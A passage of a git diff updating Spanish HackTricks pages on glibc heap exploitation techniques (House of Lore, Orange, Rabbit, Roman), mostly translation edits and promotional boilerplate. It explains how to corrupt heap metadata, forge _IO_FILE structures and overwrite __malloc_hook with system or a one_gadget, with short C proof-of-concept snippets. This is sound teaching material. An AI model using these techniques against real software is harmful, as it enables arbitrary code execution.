* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
### Código
|
||||
|
||||
* Revisa el de [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* Revisa el código en [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* Esto no está funcionando
|
||||
* O: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
||||
* Esto tampoco está funcionando aunque intenta evitar algunas comprobaciones obteniendo el error: `malloc(): unaligned tcache chunk detected`
|
||||
* Esto tampoco está funcionando, incluso si intenta evitar algunas verificaciones obteniendo el error: `malloc(): unaligned tcache chunk detected`
|
||||
* Este ejemplo aún funciona: [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html) 
|
||||
|
||||
### Objetivo
|
||||
|
@ -48,7 +49,7 @@ Entonces podrás asignar `fake0`.
|
|||
* `fake0.fd` -> `legit` (necesitas modificar un puntero en el trozo liberado del small bin a través de alguna otra vulnerabilidad)
|
||||
* `legit.bk` -> `fake0`
|
||||
* Se asigna un trozo pequeño para obtener `legit`, haciendo que **`fake0`** esté en la lista superior de small bins
|
||||
* Se asigna otro trozo pequeño, obteniendo `fake0` como un trozo, lo que potencialmente permite leer/escribir punteros dentro de él.
|
||||
* Se asigna otro trozo pequeño, obteniendo `fake0` como un trozo, permitiendo potencialmente leer/escribir punteros dentro de él.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -56,16 +57,17 @@ Entonces podrás asignar `fake0`.
|
|||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
|
||||
* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Casa de Orange
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -29,7 +30,7 @@ Otras formas de apoyar a HackTricks:
|
|||
### Requisitos
|
||||
|
||||
* Sobrescribir el tamaño del top chunk
|
||||
* Fugas de libc y heap
|
||||
* Fugas de información de Libc y heap
|
||||
|
||||
### Antecedentes
|
||||
|
||||
|
@ -37,29 +38,29 @@ Algunos antecedentes necesarios de los comentarios de [**este ejemplo**](https:/
|
|||
|
||||
La cuestión es que, en versiones antiguas de libc, cuando se llamaba a la función `malloc_printerr`, **iteraba a través de una lista de estructuras `_IO_FILE` almacenadas en `_IO_list_all`**, y realmente **ejecutaba** un puntero de instrucción en esa estructura.\
|
||||
Este ataque forjará una **estructura `_IO_FILE` falsa** que escribiremos en **`_IO_list_all`**, y provocará que se ejecute `malloc_printerr`.\
|
||||
Luego **ejecutará cualquier dirección** que tengamos almacenada en las estructuras **`_IO_FILE`**, y obtendremos ejecución de código
|
||||
Luego **ejecutará cualquier dirección** que tengamos almacenada en la tabla de saltos de las estructuras **`_IO_FILE`**, y obtendremos ejecución de código
|
||||
|
||||
### Ataque
|
||||
|
||||
El ataque comienza logrando obtener el **top chunk** dentro del **unsorted bin**. Esto se logra llamando a `malloc` con un tamaño mayor al tamaño actual del top chunk pero menor que **`mmp_.mmap_threshold`** (por defecto es 128K), lo que de otro modo activaría la asignación de `mmap`. Siempre que se modifique el tamaño del top chunk, es importante asegurarse de que el **top chunk + su tamaño** esté alineado a página y que el bit **prev\_inuse** del top chunk esté siempre establecido.
|
||||
El ataque comienza logrando obtener el **top chunk** dentro del **unsorted bin**. Esto se logra llamando a `malloc` con un tamaño mayor al tamaño actual del top chunk pero menor que **`mmp_.mmap_threshold`** (por defecto es 128K), lo cual de lo contrario activaría la asignación de `mmap`. Siempre que se modifique el tamaño del top chunk, es importante asegurarse de que el **top chunk + su tamaño** esté alineado a página y que el bit **prev\_inuse** del top chunk esté siempre establecido.
|
||||
|
||||
Para obtener el top chunk dentro del unsorted bin, asigna un chunk para crear el top chunk, cambia el tamaño del top chunk (con un desbordamiento en el chunk asignado) de modo que **top chunk + tamaño** esté alineado a página con el bit **prev\_inuse** establecido. Luego asigna un chunk más grande que el nuevo tamaño del top chunk. Ten en cuenta que `free` nunca se llama para colocar el top chunk en el unsorted bin.
|
||||
Para obtener el top chunk dentro del unsorted bin, asigna un chunk para crear el top chunk, cambia el tamaño del top chunk (con un desbordamiento en el chunk asignado) de manera que **top chunk + tamaño** esté alineado a página con el bit **prev\_inuse** establecido. Luego asigna un chunk más grande que el nuevo tamaño del top chunk. Ten en cuenta que `free` nunca se llama para colocar el top chunk en el unsorted bin.
|
||||
|
||||
El antiguo top chunk está ahora en el unsorted bin. Suponiendo que podemos leer datos dentro de él (posiblemente debido a una vulnerabilidad que también causó el desbordamiento), es posible filtrar direcciones de libc desde él y obtener la dirección de **\_IO\_list\_all**.
|
||||
El antiguo top chunk está ahora en el unsorted bin. Suponiendo que podemos leer datos dentro de él (posiblemente debido a una vulnerabilidad que también causó el desbordamiento), es posible filtrar direcciones de Libc desde él y obtener la dirección de **\_IO\_list\_all**.
|
||||
|
||||
Se realiza un ataque al unsorted bin abusando del desbordamiento para escribir `topChunk->bk->fwd = _IO_list_all - 0x10`. Cuando se asigna un nuevo chunk, el antiguo top chunk se dividirá, y se escribirá un puntero al unsorted bin en **`_IO_list_all`**.
|
||||
Se realiza un ataque al unsorted bin abusando del desbordamiento para escribir `topChunk->bk->fwd = _IO_list_all - 0x10`. Cuando se asigna un nuevo chunk, el antiguo top chunk se dividirá y se escribirá un puntero al unsorted bin en **`_IO_list_all`**.
|
||||
|
||||
El siguiente paso implica reducir el tamaño del antiguo top chunk para que encaje en un small bin, estableciendo específicamente su tamaño en **0x61**. Esto sirve para dos propósitos:
|
||||
El siguiente paso implica reducir el tamaño del antiguo top chunk para que quepa en un small bin, estableciendo específicamente su tamaño en **0x61**. Esto sirve para dos propósitos:
|
||||
|
||||
1. **Inserción en Small Bin 4**: Cuando `malloc` escanea el unsorted bin y ve este chunk, intentará insertarlo en el small bin 4 debido a su pequeño tamaño. Esto hace que el chunk termine en la cabeza de la lista del small bin 4 que es la ubicación del puntero FD del chunk de **`_IO_list_all`** ya que escribimos una dirección cercana en **`_IO_list_all`** a través del ataque al unsorted bin.
|
||||
2. **Desencadenar una Verificación de Malloc**: Esta manipulación del tamaño del chunk causará que `malloc` realice verificaciones internas. Cuando comprueba el tamaño del chunk falso hacia adelante, que será cero, desencadena un error y llama a `malloc_printerr`.
|
||||
1. **Inserción en Small Bin 4**: Cuando `malloc` escanea el unsorted bin y ve este chunk, intentará insertarlo en el small bin 4 debido a su pequeño tamaño. Esto hace que el chunk termine en la cabeza de la lista del small bin 4 que es la ubicación del puntero FD del chunk de **`_IO_list_all`** ya que escribimos una dirección cercana en **`_IO_list_all`** mediante el ataque al unsorted bin.
|
||||
2. **Desencadenar una Verificación de Malloc**: Esta manipulación del tamaño del chunk causará que `malloc` realice verificaciones internas. Cuando verifica el tamaño del chunk falso hacia adelante, que será cero, desencadena un error y llama a `malloc_printerr`.
|
||||
|
||||
La manipulación del small bin te permitirá controlar el puntero hacia adelante del chunk. La superposición con **\_IO\_list\_all** se utiliza para forjar una estructura falsa de **\_IO\_FILE**. La estructura se crea cuidadosamente para incluir campos clave como `_IO_write_base` y `_IO_write_ptr` establecidos en valores que pasan las verificaciones internas en libc. Además, se crea una tabla de saltos dentro de la estructura falsa, donde se establece un puntero de instrucción en la dirección donde se puede ejecutar código arbitrario (por ejemplo, la función `system`).
|
||||
|
||||
Para resumir la parte restante de la técnica:
|
||||
|
||||
* **Reducir el Antiguo Top Chunk**: Ajustar el tamaño del antiguo top chunk a **0x61** para encajarlo en un small bin.
|
||||
* **Configurar la Estructura Falsa de `_IO_FILE`**: Superponer el antiguo top chunk con la falsa estructura de **\_IO\_FILE** y establecer los campos adecuadamente para secuestrar el flujo de ejecución.
|
||||
* **Reducir el Antiguo Top Chunk**: Ajustar el tamaño del antiguo top chunk a **0x61** para que quepa en un small bin.
|
||||
* **Configurar la Estructura Falsa de `_IO_FILE`**: Superponer el antiguo top chunk con la falsa estructura de **\_IO\_FILE** y establecer los campos de manera adecuada para secuestrar el flujo de ejecución.
|
||||
|
||||
El siguiente paso implica forjar una falsa estructura de **\_IO\_FILE** que se superpone con el antiguo top chunk actualmente en el unsorted bin. Los primeros bytes de esta estructura se crean cuidadosamente para incluir un puntero a un comando (por ejemplo, "/bin/sh") que se ejecutará.
|
||||
|
||||
|
@ -71,10 +72,10 @@ El ataque culmina cuando una llamada a `malloc` desencadena la ejecución del c
|
|||
|
||||
1. **Configurar el top chunk**: Asignar un chunk y modificar el tamaño del top chunk.
|
||||
2. **Forzar el top chunk en el unsorted bin**: Asignar un chunk más grande.
|
||||
3. **Filtrar direcciones de libc**: Utilizar la vulnerabilidad para leer desde el unsorted bin.
|
||||
3. **Filtrar direcciones de Libc**: Utilizar la vulnerabilidad para leer desde el unsorted bin.
|
||||
4. **Realizar el ataque al unsorted bin**: Escribir en **\_IO\_list\_all** utilizando un desbordamiento.
|
||||
5. **Reducir el antiguo top chunk**: Ajustar su tamaño para encajar en un small bin.
|
||||
6. **Configurar una falsa estructura de \_IO\_FILE**: Forjar una estructura de archivo falsa para secuestrar el flujo de control.
|
||||
5. **Reducir el antiguo top chunk**: Ajustar su tamaño para que quepa en un small bin.
|
||||
6. **Configurar una estructura falsa de \_IO\_FILE**: Forjar una estructura de archivo falsa para secuestrar el flujo de control.
|
||||
7. **Desencadenar la ejecución de código**: Asignar un chunk para ejecutar el ataque y ejecutar código arbitrario.
|
||||
|
||||
Este enfoque explota los mecanismos de gestión de heap, las fugas de información de libc y los desbordamientos de heap para lograr la ejecución de código sin llamar directamente a `free`. Al crear cuidadosamente la falsa estructura de **\_IO\_FILE** y colocarla en la ubicación correcta, el ataque puede secuestrar el flujo de control durante las operaciones estándar de asignación de memoria. Esto permite la ejecución de código arbitrario, lo que potencialmente resulta en un shell u otras actividades maliciosas.
|
||||
|
@ -83,16 +84,17 @@ Este enfoque explota los mecanismos de gestión de heap, las fugas de informaci
|
|||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
|
||||
* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
# Casa del Conejo
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Requisitos
|
||||
|
||||
1. **Capacidad para modificar el puntero fd o el tamaño del fastbin**: Esto significa que puedes cambiar el puntero forward de un fragmento en el fastbin o su tamaño.
|
||||
2. **Capacidad para desencadenar `malloc_consolidate`**: Esto se puede hacer ya sea asignando un fragmento grande o fusionando el fragmento superior, lo que obliga al montón a consolidar fragmentos.
|
||||
1. **Capacidad para modificar el puntero fd o el tamaño de un fastbin**: Esto significa que puedes cambiar el puntero forward de un fragmento en el fastbin o su tamaño.
|
||||
2. **Capacidad para activar `malloc_consolidate`**: Esto se puede hacer ya sea asignando un fragmento grande o fusionando el fragmento superior, lo que obliga al montón a consolidar fragmentos.
|
||||
|
||||
### Objetivos
|
||||
|
||||
|
@ -45,17 +46,17 @@ free(chunk2); // Frees the chunk at 0x602050
|
|||
```cpp
|
||||
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
||||
```
|
||||
* **Paso 4: Desencadenar `malloc_consolidate`**
|
||||
* **Paso 4: Provocar `malloc_consolidate`**
|
||||
```cpp
|
||||
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
||||
```
|
||||
Asignar un gran fragmento desencadena la función `malloc_consolidate`, fusionando fragmentos pequeños en el contenedor rápido. El tamaño manipulado de `chunk1` hace que se solape con `chunk2`.
|
||||
Asignar un gran fragmento desencadena la función `malloc_consolidate`, fusionando fragmentos pequeños en el fast bin. El tamaño manipulado de `chunk1` hace que se solape con `chunk2`.
|
||||
|
||||
Después de la consolidación, `chunk1` se solapa con `chunk2`, lo que permite una mayor explotación.
|
||||
|
||||
### POC 2: Modificar el puntero `fd`
|
||||
|
||||
**Objetivo**: Crear un fragmento falso manipulando el puntero `fd` del contenedor rápido.
|
||||
**Objetivo**: Crear un fragmento falso manipulando el puntero `fd` del fast bin.
|
||||
|
||||
* **Paso 1: Asignar Fragmentos**
|
||||
```cpp
|
||||
|
@ -88,7 +89,7 @@ malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
|||
```
|
||||
Asignar un gran fragmento nuevamente desencadena `malloc_consolidate`, que procesa el fragmento falso.
|
||||
|
||||
El fragmento falso se convierte en parte de la lista fastbin, convirtiéndolo en un fragmento legítimo para futuras explotaciones.
|
||||
El fragmento falso se convierte en parte de la lista fastbin, convirtiéndose en un fragmento legítimo para futuras explotaciones.
|
||||
|
||||
### Resumen
|
||||
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Casa de Romanos
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -42,7 +43,7 @@ Crear varios chunks:
|
|||
* `main_arena_use` (0x80, offset 0x100)
|
||||
* `relative_offset_heap` (0x60, offset 0x190): desplazamiento relativo en el chunk 'main\_arena\_use'
|
||||
|
||||
Luego `free(main_arena_use)` lo que colocará este chunk en la lista desordenada y obtendrá un puntero a `main_arena + 0x68` en los punteros `fd` y `bk`.
|
||||
Luego, `free(main_arena_use)` colocará este chunk en la lista desordenada y obtendrá un puntero a `main_arena + 0x68` en los punteros `fd` y `bk`.
|
||||
|
||||
Ahora se asigna un nuevo chunk `fake_libc_chunk(0x60)` porque contendrá los punteros a `main_arena + 0x68` en `fd` y `bk`.
|
||||
|
||||
|
@ -73,7 +74,7 @@ Tenga en cuenta que `__memalign_hook` generalmente comienza con `0x7f` y ceros a
|
|||
|
||||
(Para obtener más información sobre el resto de los bytes, consulte la explicación en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Si la fuerza bruta no funciona, el programa simplemente se bloquea (así que comience de nuevo hasta que funcione).
|
||||
|
||||
Luego, se realizan 2 mallocs para eliminar los 2 chunks iniciales del fast bin y luego se asigna un tercero para obtener un chunk en el **`__malloc_hook:`**
|
||||
Luego, se realizan 2 mallocs para eliminar los 2 chunks iniciales del fast bin y se asigna un tercero para obtener un chunk en el **`__malloc_hook:`**
|
||||
```c
|
||||
malloc(0x60);
|
||||
malloc(0x60);
|
||||
|
@ -101,16 +102,16 @@ free(unsorted_bin_ptr);
|
|||
Utiliza un UAF en este fragmento para apuntar `unsorted_bin_ptr->bk` a la dirección de `__malloc_hook` (lo hemos forzado previamente).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que este ataque corrompe el bin no ordenado (y también el pequeño y el grande). Por lo tanto, ahora solo podemos **utilizar asignaciones del bin rápido** (un programa más complejo podría hacer otras asignaciones y fallar), y para desencadenar esto debemos **asignar el mismo tamaño o el programa fallará.**
|
||||
Ten en cuenta que este ataque corrompe el bin no ordenado (por lo tanto también el pequeño y el grande). Por lo tanto, solo podemos **utilizar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para desencadenar esto debemos **asignar el mismo tamaño o el programa fallará.**
|
||||
{% endhint %}
|
||||
|
||||
Entonces, para desencadenar la escritura de `main_arena + 0x68` en `__malloc_hook`, realizamos después de establecer `__malloc_hook` en `unsorted_bin_ptr->bk` solo necesitamos hacer: **`malloc(0x80)`**
|
||||
Entonces, para desencadenar la escritura de `main_arena + 0x68` en `__malloc_hook`, simplemente debemos hacer: **`malloc(0x80)`**
|
||||
|
||||
### Paso 3: Establecer \_\_malloc\_hook a system
|
||||
### Paso 3: Establecer \_\_malloc\_hook en system
|
||||
|
||||
En el primer paso terminamos controlando un fragmento que contiene `__malloc_hook` (en la variable `malloc_hook_chunk`) y en el segundo paso logramos escribir `main_arena + 0x68` aquí.
|
||||
En el primer paso terminamos controlando un chunk que contiene `__malloc_hook` (en la variable `malloc_hook_chunk`) y en el segundo paso logramos escribir `main_arena + 0x68` aquí.
|
||||
|
||||
Ahora, abusamos de una sobrescritura parcial en `malloc_hook_chunk` para usar la dirección de libc que escribimos allí (`main_arena + 0x68`) para **apuntar a una dirección de `one_gadget`**.
|
||||
Ahora, abusamos de una sobrescritura parcial en `malloc_hook_chunk` para utilizar la dirección de libc que escribimos allí (`main_arena + 0x68`) para **apuntar a una dirección de `one_gadget`**.
|
||||
|
||||
Aquí es donde es necesario **forzar 12 bits de aleatoriedad** (más información en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)).
|
||||
|
||||
|
@ -122,16 +123,17 @@ Finalmente, una vez que se sobrescribe la dirección correcta, **llama a `malloc
|
|||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
